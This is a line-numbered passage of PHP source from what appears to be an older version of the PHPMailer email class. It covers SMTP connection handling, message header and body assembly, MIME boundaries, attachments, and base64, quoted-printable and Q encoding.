  1918.     if($this->SMTPKeepAlive == true) {
  1919.       $this->smtp->Reset();
  1920.     } else {
  1921.       $this->SmtpClose();
  1922.     }
  1923.  
  1924.     return true;
  1925.   }
  1926.  
  1927.   /**
  1928.    * Initiates a connection to an SMTP server.  Returns false if the
  1929.    * operation failed.
  1930.    * @access private
  1931.    * @return bool
  1932.    */
  1933.   function SmtpConnect() {
  1934.     if($this->smtp == NULL) {
  1935.       $this->smtp = new SMTP();
  1936.     }
  1937.  
  1938.     $this->smtp->do_debug = $this->SMTPDebug;
  1939.     $hosts = explode(';', $this->Host);
  1940.     $index = 0;
  1941.     $connection = ($this->smtp->Connected());
  1942.  
  1943.     /* Retry while there is no connection */
  1944.     while($index < count($hosts) && $connection == false) {
  1945.       $hostinfo = array();
  1946.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1947.         $host = $hostinfo[1];
  1948.         $port = $hostinfo[2];
  1949.       } else {
  1950.         $host = $hosts[$index];
  1951.         $port = $this->Port;
  1952.       }
  1953.  
  1954.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1955.         if ($this->Helo != '') {
  1956.           $this->smtp->Hello($this->Helo);
  1957.         } else {
  1958.           $this->smtp->Hello($this->ServerHostname());
  1959.         }
  1960.  
  1961.         $connection = true;
  1962.         if($this->SMTPAuth) {
  1963.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1964.             $this->SetError($this->Lang('authenticate'));
  1965.             $this->smtp->Reset();
  1966.             $connection = false;
  1967.           }
  1968.         }
  1969.       }
  1970.       $index++;
  1971.     }
  1972.     if(!$connection) {
  1973.       $this->SetError($this->Lang('connect_host'));
  1974.     }
  1975.  
  1976.     return $connection;
  1977.   }
  1978.  
  1979.   /**
  1980.    * Closes the active SMTP session if one exists.
  1981.    * @return void
  1982.    */
  1983.   function SmtpClose() {
  1984.     if($this->smtp != NULL) {
  1985.       if($this->smtp->Connected()) {
  1986.         $this->smtp->Quit();
  1987.         $this->smtp->Close();
  1988.       }
  1989.     }
  1990.   }
  1991.  
  1992.   /**
  1993.    * Sets the language for all class error messages.  Returns false
  1994.    * if it cannot load the language file.  The default language type
  1995.    * is English.
  1996.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  1997.    * @param string $lang_path Path to the language file directory
  1998.    * @access public
  1999.    * @return bool
  2000.    */
  2001.   function SetLanguage($lang_type, $lang_path = 'language/') {
  2002.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2003.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2004.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2005.       include($lang_path.'phpmailer.lang-en.php');
  2006.     } else {
  2007.       $this->SetError('Could not load language file');
  2008.       return false;
  2009.     }
  2010.     $this->language = $PHPMAILER_LANG;
  2011.  
  2012.     return true;
  2013.   }
  2014.  
  2015.   /////////////////////////////////////////////////
  2016.   // METHODS, MESSAGE CREATION
  2017.   /////////////////////////////////////////////////
  2018.  
  2019.   /**
  2020.    * Creates recipient headers.
  2021.    * @access private
  2022.    * @return string
  2023.    */
  2024.   function AddrAppend($type, $addr) {
  2025.     $addr_str = $type . ': ';
  2026.     $addr_str .= $this->AddrFormat($addr[0]);
  2027.     if(count($addr) > 1) {
  2028.       for($i = 1; $i < count($addr); $i++) {
  2029.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2030.       }
  2031.     }
  2032.     $addr_str .= $this->LE;
  2033.  
  2034.     return $addr_str;
  2035.   }
  2036.  
  2037.   /**
  2038.    * Formats an address correctly.
  2039.    * @access private
  2040.    * @return string
  2041.    */
  2042.   function AddrFormat($addr) {
  2043.     if(empty($addr[1])) {
  2044.       $formatted = $this->SecureHeader($addr[0]);
  2045.     } else {
  2046.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2047.     }
  2048.  
  2049.     return $formatted;
  2050.   }
  2051.  
  2052.   /**
  2053.    * Wraps message for use with mailers that do not
  2054.    * automatically perform wrapping and for quoted-printable.
  2055.    * Original written by philippe.
  2056.    * @access private
  2057.    * @return string
  2058.    */
  2059.   function WrapText($message, $length, $qp_mode = false) {
  2060.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2061.     // If utf-8 encoding is used, we will need to make sure we don't
  2062.     // split multibyte characters when we wrap
  2063.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2064.  
  2065.     $message = $this->FixEOL($message);
  2066.     if (substr($message, -1) == $this->LE) {
  2067.       $message = substr($message, 0, -1);
  2068.     }
  2069.  
  2070.     $line = explode($this->LE, $message);
  2071.     $message = '';
  2072.     for ($i=0 ;$i < count($line); $i++) {
  2073.       $line_part = explode(' ', $line[$i]);
  2074.       $buf = '';
  2075.       for ($e = 0; $e<count($line_part); $e++) {
  2076.         $word = $line_part[$e];
  2077.         if ($qp_mode and (strlen($word) > $length)) {
  2078.           $space_left = $length - strlen($buf) - 1;
  2079.           if ($e != 0) {
  2080.             if ($space_left > 20) {
  2081.               $len = $space_left;
  2082.               if ($is_utf8) {
  2083.                 $len = $this->UTF8CharBoundary($word, $len);
  2084.               } elseif (substr($word, $len - 1, 1) == "=") {
  2085.                 $len--;
  2086.               } elseif (substr($word, $len - 2, 1) == "=") {
  2087.                 $len -= 2;
  2088.               }
  2089.               $part = substr($word, 0, $len);
  2090.               $word = substr($word, $len);
  2091.               $buf .= ' ' . $part;
  2092.               $message .= $buf . sprintf("=%s", $this->LE);
  2093.             } else {
  2094.               $message .= $buf . $soft_break;
  2095.             }
  2096.             $buf = '';
  2097.           }
  2098.           while (strlen($word) > 0) {
  2099.             $len = $length;
  2100.             if ($is_utf8) {
  2101.               $len = $this->UTF8CharBoundary($word, $len);
  2102.             } elseif (substr($word, $len - 1, 1) == "=") {
  2103.               $len--;
  2104.             } elseif (substr($word, $len - 2, 1) == "=") {
  2105.               $len -= 2;
  2106.             }
  2107.             $part = substr($word, 0, $len);
  2108.             $word = substr($word, $len);
  2109.  
  2110.             if (strlen($word) > 0) {
  2111.               $message .= $part . sprintf("=%s", $this->LE);
  2112.             } else {
  2113.               $buf = $part;
  2114.             }
  2115.           }
  2116.         } else {
  2117.           $buf_o = $buf;
  2118.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2119.  
  2120.           if (strlen($buf) > $length and $buf_o != '') {
  2121.             $message .= $buf_o . $soft_break;
  2122.             $buf = $word;
  2123.           }
  2124.         }
  2125.       }
  2126.       $message .= $buf . $this->LE;
  2127.     }
  2128.  
  2129.     return $message;
  2130.   }
  2131.  
  2132.   /**
  2133.    * Finds last character boundary prior to maxLength in a utf-8
  2134.    * quoted (printable) encoded string.
  2135.    * Original written by Colin Brown.
  2136.    * @access private
  2137.    * @param string $encodedText utf-8 QP text
  2138.    * @param int    $maxLength   find last character boundary prior to this length
  2139.    * @return int
  2140.    */
  2141.   function UTF8CharBoundary($encodedText, $maxLength) {
  2142.     $foundSplitPos = false;
  2143.     $lookBack = 3;
  2144.     while (!$foundSplitPos) {
  2145.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2146.       $encodedCharPos = strpos($lastChunk, "=");
  2147.       if ($encodedCharPos !== false) {
  2148.         // Found start of encoded character byte within $lookBack block.
  2149.         // Check the encoded byte value (the 2 chars after the '=')
  2150.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2151.         $dec = hexdec($hex);
  2152.         if ($dec < 128) { // Single byte character.
  2153.           // If the encoded char was found at pos 0, it will fit
  2154.           // otherwise reduce maxLength to start of the encoded char
  2155.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2156.           $maxLength - ($lookBack - $encodedCharPos);
  2157.           $foundSplitPos = true;
  2158.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2159.           // Reduce maxLength to split at start of character
  2160.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2161.           $foundSplitPos = true;
  2162.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2163.           $lookBack += 3;
  2164.         }
  2165.       } else {
  2166.         // No encoded character found
  2167.         $foundSplitPos = true;
  2168.       }
  2169.     }
  2170.     return $maxLength;
  2171.   }
  2172.  
  2173.   /**
  2174.    * Set the body wrapping.
  2175.    * @access private
  2176.    * @return void
  2177.    */
  2178.   function SetWordWrap() {
  2179.     if($this->WordWrap < 1) {
  2180.       return;
  2181.     }
  2182.  
  2183.     switch($this->message_type) {
  2184.       case 'alt':
  2185.         /* fall through */
  2186.       case 'alt_attachments':
  2187.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2188.         break;
  2189.       default:
  2190.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2191.         break;
  2192.     }
  2193.   }
  2194.  
  2195.   /**
  2196.    * Assembles message header.
  2197.    * @access private
  2198.    * @return string
  2199.    */
  2200.   function CreateHeader() {
  2201.     $result = '';
  2202.  
  2203.     /* Set the boundaries */
  2204.     $uniq_id = md5(uniqid(time()));
  2205.     $this->boundary[1] = 'b1_' . $uniq_id;
  2206.     $this->boundary[2] = 'b2_' . $uniq_id;
  2207.  
  2208.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2209.     if($this->Sender == '') {
  2210.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2211.     } else {
  2212.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2213.     }
  2214.  
  2215.     /* To be created automatically by mail() */
  2216.     if($this->Mailer != 'mail') {
  2217.       if(count($this->to) > 0) {
  2218.         $result .= $this->AddrAppend('To', $this->to);
  2219.       } elseif (count($this->cc) == 0) {
  2220.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2221.       }
  2222.       if(count($this->cc) > 0) {
  2223.         $result .= $this->AddrAppend('Cc', $this->cc);
  2224.       }
  2225.     }
  2226.  
  2227.     $from = array();
  2228.     $from[0][0] = trim($this->From);
  2229.     $from[0][1] = $this->FromName;
  2230.     $result .= $this->AddrAppend('From', $from);
  2231.  
  2232.     /* sendmail and mail() extract Cc from the header before sending */
  2233.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2234.       $result .= $this->AddrAppend('Cc', $this->cc);
  2235.     }
  2236.  
  2237.     /* sendmail and mail() extract Bcc from the header before sending */
  2238.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2239.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2240.     }
  2241.  
  2242.     if(count($this->ReplyTo) > 0) {
  2243.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2244.     }
  2245.  
  2246.     /* mail() sets the subject itself */
  2247.     if($this->Mailer != 'mail') {
  2248.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2249.     }
  2250.  
  2251.     if($this->MessageID != '') {
  2252.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2253.     } else {
  2254.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2255.     }
  2256.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2257.     $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2258.  
  2259.     if($this->ConfirmReadingTo != '') {
  2260.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2261.     }
  2262.  
  2263.     // Add custom headers
  2264.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2265.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2266.     }
  2267.     if (!$this->sign_key_file) {
  2268.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2269.       $result .= $this->GetMailMIME();
  2270.     }
  2271.  
  2272.     return $result;
  2273.   }
  2274.  
  2275.   /**
  2276.    * Returns the message MIME.
  2277.    * @access private
  2278.    * @return string
  2279.    */
  2280.   function GetMailMIME() {
  2281.     $result = '';
  2282.     switch($this->message_type) {
  2283.       case 'plain':
  2284.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2285.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2286.         break;
  2287.       case 'attachments':
  2288.         /* fall through */
  2289.       case 'alt_attachments':
  2290.         if($this->InlineImageExists()){
  2291.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2292.         } else {
  2293.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2294.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2295.         }
  2296.         break;
  2297.       case 'alt':
  2298.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2299.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2300.         break;
  2301.     }
  2302.  
  2303.     if($this->Mailer != 'mail') {
  2304.       $result .= $this->LE.$this->LE;
  2305.     }
  2306.  
  2307.     return $result;
  2308.   }
  2309.  
  2310.   /**
  2311.    * Assembles the message body.  Returns an empty string on failure.
  2312.    * @access private
  2313.    * @return string
  2314.    */
  2315.   function CreateBody() {
  2316.     $result = '';
  2317.     if ($this->sign_key_file) {
  2318.       $result .= $this->GetMailMIME();
  2319.     }
  2320.  
  2321.     $this->SetWordWrap();
  2322.  
  2323.     switch($this->message_type) {
  2324.       case 'alt':
  2325.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2326.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2327.         $result .= $this->LE.$this->LE;
  2328.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2329.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2330.         $result .= $this->LE.$this->LE;
  2331.         $result .= $this->EndBoundary($this->boundary[1]);
  2332.         break;
  2333.       case 'plain':
  2334.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2335.         break;
  2336.       case 'attachments':
  2337.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2338.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2339.         $result .= $this->LE;
  2340.         $result .= $this->AttachAll();
  2341.         break;
  2342.       case 'alt_attachments':
  2343.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2344.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2345.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2346.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2347.         $result .= $this->LE.$this->LE;
  2348.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2349.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2350.         $result .= $this->LE.$this->LE;
  2351.         $result .= $this->EndBoundary($this->boundary[2]);
  2352.         $result .= $this->AttachAll();
  2353.         break;
  2354.     }
  2355.  
  2356.     if($this->IsError()) {
  2357.       $result = '';
  2358.     } else if ($this->sign_key_file) {
  2359.       $file = tempnam("", "mail");
  2360.       $fp = fopen($file, "w");
  2361.       fwrite($fp, $result);
  2362.       fclose($fp);
  2363.       $signed = tempnam("", "signed");
  2364.  
  2365.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2366.         $fp = fopen($signed, "r");
  2367.         $result = fread($fp, filesize($this->sign_key_file));
  2368.         fclose($fp);
  2369.       } else {
  2370.         $this->SetError($this->Lang("signing").openssl_error_string());
  2371.         $result = '';
  2372.       }
  2373.  
  2374.       unlink($file);
  2375.       unlink($signed);
  2376.     }
  2377.  
  2378.     return $result;
  2379.   }
  2380.  
  2381.   /**
  2382.    * Returns the start of a message boundary.
  2383.    * @access private
  2384.    */
  2385.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2386.     $result = '';
  2387.     if($charSet == '') {
  2388.       $charSet = $this->CharSet;
  2389.     }
  2390.     if($contentType == '') {
  2391.       $contentType = $this->ContentType;
  2392.     }
  2393.     if($encoding == '') {
  2394.       $encoding = $this->Encoding;
  2395.     }
  2396.     $result .= $this->TextLine('--' . $boundary);
  2397.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2398.     $result .= $this->LE;
  2399.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2400.     $result .= $this->LE;
  2401.  
  2402.     return $result;
  2403.   }
  2404.  
  2405.   /**
  2406.    * Returns the end of a message boundary.
  2407.    * @access private
  2408.    */
  2409.   function EndBoundary($boundary) {
  2410.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2411.   }
  2412.  
  2413.   /**
  2414.    * Sets the message type.
  2415.    * @access private
  2416.    * @return void
  2417.    */
  2418.   function SetMessageType() {
  2419.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2420.       $this->message_type = 'plain';
  2421.     } else {
  2422.       if(count($this->attachment) > 0) {
  2423.         $this->message_type = 'attachments';
  2424.       }
  2425.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2426.         $this->message_type = 'alt';
  2427.       }
  2428.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2429.         $this->message_type = 'alt_attachments';
  2430.       }
  2431.     }
  2432.   }
  2433.  
  2434.   /* Returns a formatted header line.
  2435.    * @access private
  2436.    * @return string
  2437.    */
  2438.   function HeaderLine($name, $value) {
  2439.     return $name . ': ' . $value . $this->LE;
  2440.   }
  2441.  
  2442.   /**
  2443.    * Returns a formatted mail line.
  2444.    * @access private
  2445.    * @return string
  2446.    */
  2447.   function TextLine($value) {
  2448.     return $value . $this->LE;
  2449.   }
  2450.  
  2451.   /////////////////////////////////////////////////
  2452.   // CLASS METHODS, ATTACHMENTS
  2453.   /////////////////////////////////////////////////
  2454.  
  2455.   /**
  2456.    * Adds an attachment from a path on the filesystem.
  2457.    * Returns false if the file could not be found
  2458.    * or accessed.
  2459.    * @param string $path Path to the attachment.
  2460.    * @param string $name Overrides the attachment name.
  2461.    * @param string $encoding File encoding (see $Encoding).
  2462.    * @param string $type File extension (MIME) type.
  2463.    * @return bool
  2464.    */
  2465.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2466.     if(!@is_file($path)) {
  2467.       $this->SetError($this->Lang('file_access') . $path);
  2468.       return false;
  2469.     }
  2470.  
  2471.     $filename = basename($path);
  2472.     if($name == '') {
  2473.       $name = $filename;
  2474.     }
  2475.  
  2476.     $cur = count($this->attachment);
  2477.     $this->attachment[$cur][0] = $path;
  2478.     $this->attachment[$cur][1] = $filename;
  2479.     $this->attachment[$cur][2] = $name;
  2480.     $this->attachment[$cur][3] = $encoding;
  2481.     $this->attachment[$cur][4] = $type;
  2482.     $this->attachment[$cur][5] = false; // isStringAttachment
  2483.     $this->attachment[$cur][6] = 'attachment';
  2484.     $this->attachment[$cur][7] = 0;
  2485.  
  2486.     return true;
  2487.   }
  2488.  
  2489.   /**
  2490.    * Attaches all fs, string, and binary attachments to the message.
  2491.    * Returns an empty string on failure.
  2492.    * @access private
  2493.    * @return string
  2494.    */
  2495.   function AttachAll() {
  2496.     /* Return text of body */
  2497.     $mime = array();
  2498.  
  2499.     /* Add all attachments */
  2500.     for($i = 0; $i < count($this->attachment); $i++) {
  2501.       /* Check for string attachment */
  2502.       $bString = $this->attachment[$i][5];
  2503.       if ($bString) {
  2504.         $string = $this->attachment[$i][0];
  2505.       } else {
  2506.         $path = $this->attachment[$i][0];
  2507.       }
  2508.  
  2509.       $filename    = $this->attachment[$i][1];
  2510.       $name        = $this->attachment[$i][2];
  2511.       $encoding    = $this->attachment[$i][3];
  2512.       $type        = $this->attachment[$i][4];
  2513.       $disposition = $this->attachment[$i][6];
  2514.       $cid         = $this->attachment[$i][7];
  2515.  
  2516.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2517.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2518.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2519.  
  2520.       if($disposition == 'inline') {
  2521.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2522.       }
  2523.  
  2524.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2525.  
  2526.       /* Encode as string attachment */
  2527.       if($bString) {
  2528.         $mime[] = $this->EncodeString($string, $encoding);
  2529.         if($this->IsError()) {
  2530.           return '';
  2531.         }
  2532.         $mime[] = $this->LE.$this->LE;
  2533.       } else {
  2534.         $mime[] = $this->EncodeFile($path, $encoding);
  2535.         if($this->IsError()) {
  2536.           return '';
  2537.         }
  2538.         $mime[] = $this->LE.$this->LE;
  2539.       }
  2540.     }
  2541.  
  2542.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2543.  
  2544.     return join('', $mime);
  2545.   }
  2546.  
  2547.   /**
  2548.    * Encodes attachment in requested format.  Returns an
  2549.    * empty string on failure.
  2550.    * @access private
  2551.    * @return string
  2552.    */
  2553.   function EncodeFile ($path, $encoding = 'base64') {
  2554.     if(!@$fd = fopen($path, 'rb')) {
  2555.       $this->SetError($this->Lang('file_open') . $path);
  2556.       return '';
  2557.     }
  2558.     $magic_quotes = get_magic_quotes_runtime();
  2559.     set_magic_quotes_runtime(0);
  2560.     $file_buffer = fread($fd, filesize($path));
  2561.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2562.     fclose($fd);
  2563.     set_magic_quotes_runtime($magic_quotes);
  2564.  
  2565.     return $file_buffer;
  2566.   }
  2567.  
  2568.   /**
  2569.    * Encodes string to requested format. Returns an
  2570.    * empty string on failure.
  2571.    * @access private
  2572.    * @return string
  2573.    */
  2574.   function EncodeString ($str, $encoding = 'base64') {
  2575.     $encoded = '';
  2576.     switch(strtolower($encoding)) {
  2577.       case 'base64':
  2578.         /* chunk_split is found in PHP >= 3.0.6 */
  2579.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2580.         break;
  2581.       case '7bit':
  2582.       case '8bit':
  2583.         $encoded = $this->FixEOL($str);
  2584.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2585.           $encoded .= $this->LE;
  2586.         break;
  2587.       case 'binary':
  2588.         $encoded = $str;
  2589.         break;
  2590.       case 'quoted-printable':
  2591.         $encoded = $this->EncodeQP($str);
  2592.         break;
  2593.       default:
  2594.         $this->SetError($this->Lang('encoding') . $encoding);
  2595.         break;
  2596.     }
  2597.     return $encoded;
  2598.   }
  2599.  
  2600.   /**
  2601.    * Encode a header string to best of Q, B, quoted or none.
  2602.    * @access private
  2603.    * @return string
  2604.    */
  2605.   function EncodeHeader ($str, $position = 'text') {
  2606.     $x = 0;
  2607.  
  2608.     switch (strtolower($position)) {
  2609.       case 'phrase':
  2610.         if (!preg_match('/[\200-\377]/', $str)) {
  2611.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2612.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2613.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2614.             return ($encoded);
  2615.           } else {
  2616.             return ("\"$encoded\"");
  2617.           }
  2618.         }
  2619.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2620.         break;
  2621.       case 'comment':
  2622.         $x = preg_match_all('/[()"]/', $str, $matches);
  2623.         /* Fall-through */
  2624.       case 'text':
  2625.       default:
  2626.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2627.         break;
  2628.     }
  2629.  
  2630.     if ($x == 0) {
  2631.       return ($str);
  2632.     }
  2633.  
  2634.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2635.     /* Try to select the encoding which should produce the shortest output */
  2636.     if (strlen($str)/3 < $x) {
  2637.       $encoding = 'B';
  2638.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2639.      // Use a custom function which correctly encodes and wraps long
  2640.      // multibyte strings without breaking lines within a character
  2641.         $encoded = $this->Base64EncodeWrapMB($str);
  2642.       } else {
  2643.         $encoded = base64_encode($str);
  2644.         $maxlen -= $maxlen % 4;
  2645.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2646.       }
  2647.     } else {
  2648.       $encoding = 'Q';
  2649.       $encoded = $this->EncodeQ($str, $position);
  2650.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2651.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2652.     }
  2653.  
  2654.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2655.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2656.  
  2657.     return $encoded;
  2658.   }
  2659.  
  2660.   /**
  2661.    * Checks if a string contains multibyte characters.
  2662.    * @access private
  2663.    * @param string $str multi-byte text to wrap encode
  2664.    * @return bool
  2665.    */
  2666.   function HasMultiBytes($str) {
  2667.     if (function_exists('mb_strlen')) {
  2668.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2669.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2670.       return False;
  2671.     }
  2672.   }
  2673.  
  2674.   /**
  2675.    * Correctly encodes and wraps long multibyte strings for mail headers
  2676.    * without breaking lines within a character.
  2677.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2678.    * @access private
  2679.    * @param string $str multi-byte text to wrap encode
  2680.    * @return string
  2681.    */
  2682.   function Base64EncodeWrapMB($str) {
  2683.     $start = "=?".$this->CharSet."?B?";
  2684.     $end = "?=";
  2685.     $encoded = "";
  2686.  
  2687.     $mb_length = mb_strlen($str, $this->CharSet);
  2688.     // Each line must have length <= 75, including $start and $end
  2689.     $length = 75 - strlen($start) - strlen($end);
  2690.     // Average multi-byte ratio
  2691.     $ratio = $mb_length / strlen($str);
  2692.     // Base64 has a 4:3 ratio
  2693.     $offset = $avgLength = floor($length * $ratio * .75);
  2694.  
  2695.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2696.       $lookBack = 0;
  2697.  
  2698.       do {
  2699.         $offset = $avgLength - $lookBack;
  2700.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2701.         $chunk = base64_encode($chunk);
  2702.         $lookBack++;
  2703.       }
  2704.       while (strlen($chunk) > $length);
  2705.  
  2706.       $encoded .= $chunk . $this->LE;
  2707.     }
  2708.  
  2709.     // Chomp the last linefeed
  2710.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2711.     return $encoded;
  2712.   }
  2713.  
  2714.   /**
  2715.    * Encode string to quoted-printable.
  2716.    * @access private
  2717.    * @return string
  2718.    */
  2719.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2720.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2721.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2722.     $eol = "\r\n";
  2723.     $escape = '=';
  2724.     $output = '';
  2725.     while( list(, $line) = each($lines) ) {
  2726.       $linlen = strlen($line);
  2727.       $newline = '';
  2728.       for($i = 0; $i < $linlen; $i++) {
  2729.         $c = substr( $line, $i, 1 );
  2730.         $dec = ord( $c );
  2731.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2732.           $c = '=2E';
  2733.         }
  2734.         if ( $dec == 32 ) {
  2735.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2736.             $c = '=20';
  2737.           } else if ( $space_conv ) {
  2738.             $c = '=20';
  2739.           }
  2740.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2741.           $h2 = floor($dec/16);
  2742.           $h1 = floor($dec%16);
  2743.           $c = $escape.$hex[$h2].$hex[$h1];
  2744.         }
  2745.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2746.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2747.           $newline = '';
  2748.           // check if newline first character will be point or not
  2749.           if ( $dec == 46 ) {
  2750.             $c = '=2E';
  2751.           }
  2752.         }
  2753.         $newline .= $c;
  2754.       } // end of for
  2755.       $output .= $newline.$eol;
  2756.     } // end of while
  2757.     return trim($output);
  2758.   }
  2759.  
  2760.   /**
  2761.    * Encode string to q encoding.
  2762.    * @access private
  2763.    * @return string
  2764.    */
  2765.   function EncodeQ ($str, $position = 'text') {
  2766.     /* There should not be any EOL in the string */
  2767.     $encoded = preg_replace("[\r\n]", '', $str);
  2768.  
  2769.     switch (strtolower($position)) {
  2770.       case 'phrase':
  2771.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2772.         break;
  2773.       case 'comment':
  2774.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2775.       case 'text':
  2776.       default:
  2777.         /* Replace every high ascii, control =, ? and _ characters */
  2778.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
